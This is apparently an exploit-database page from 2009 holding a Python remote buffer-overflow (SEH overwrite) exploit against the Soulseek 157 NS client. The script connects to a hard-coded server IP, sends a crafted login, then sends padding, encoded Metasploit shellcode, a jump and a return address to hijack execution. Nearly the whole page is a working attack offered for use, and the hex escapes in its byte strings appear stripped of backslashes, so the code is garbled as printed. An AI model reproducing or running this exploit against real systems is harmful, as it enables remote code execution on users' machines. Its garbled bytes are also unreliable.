[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Soulseek 157 NS Remote Buffer Overflow Exploit (SEH)
# Published : 2009-05-26
# Author : His0k4
# Previous Title : Lighttpd < 1.4.23 Source Code Disclosure Vulnerability (BSD/Solaris bug)
# Next Title : Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (pl)
#!/usr/bin/python
#[x] Bug :Soulseek 157 NS Remote Seh Overwrite Exploit
#[x] Credits & poc from : http://www.milw0rm.com/exploits/8777
#[x] Tested on : Windows Xp (sp3), Soulseek 157 NS 12d
#[x] The exploit attacks the user :"test4321"
import struct
import sys, socket
from time import *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242)) # Change to Port 2240 for 156* branch
request = "x48x00x00x00x01x00x00x00x08x00x00x00"
request += "testt4321" # username
request += "x08x00x00x00"
request += "12345678" # password
request += "xb5x00x00x00x20x00x00x00"
request += "x38x65x39x31x66x37x33x30x35x35x37x31x32x35x64x37"
request += "x34x39x32x34x62x64x66x35x63x32x39x61x36x37x64x61"
request += "x01x00x00x00"
s.send(request)
sleep(1)
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x50x42x30x42x30x4bx38x45x44x4ex43x4bx38x4ex57"
"x45x50x4ax57x41x50x4fx4ex4bx48x4fx54x4ax51x4bx38"
"x4fx35x42x32x41x30x4bx4ex49x44x4bx38x46x33x4bx38"
"x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x38x42x4c"
"x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x55x46x42x46x30x45x57x45x4ex4bx48"
"x4fx55x46x42x41x50x4bx4ex48x46x4bx38x4ex30x4bx44"
"x4bx38x4fx55x4ex41x41x50x4bx4ex4bx58x4ex51x4bx38"
"x41x30x4bx4ex49x48x4ex45x46x42x46x30x43x4cx41x53"
"x42x4cx46x56x4bx48x42x44x42x53x45x48x42x4cx4ax47"
"x4ex30x4bx38x42x34x4ex50x4bx48x42x37x4ex31x4dx4a"
"x4bx48x4ax36x4ax30x4bx4ex49x30x4bx38x42x58x42x4b"
"x42x30x42x50x42x50x4bx48x4ax36x4ex43x4fx55x41x53"
"x48x4fx42x56x48x55x49x48x4ax4fx43x38x42x4cx4bx37"
"x42x45x4ax56x42x4fx4cx48x46x30x4fx55x4ax56x4ax49"
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x36x41x46"
"x4ex46x43x56x42x50x5a")
payload = "x41" * (3084-len(shellcode))
payload += shellcode
payload += "xE9xA4xFExFFxFF"
payload += "90"*22
payload += "xEBxE3x41x42"
payload += "x34x14x40x00" # p/p/r->SoulSeek.exe
payload += "x44" * 1423
request2 = "x01x0fx00x00x2ax00x00x00x09x00x00x00"
request2 += "testt4321"
request2 += "xa4x5ax51x44xe8x0ex00x00"
request2 += payload
s.send(request2)
sleep(1)
s.recv(1024)
# www.Syue.com [2009-05-26]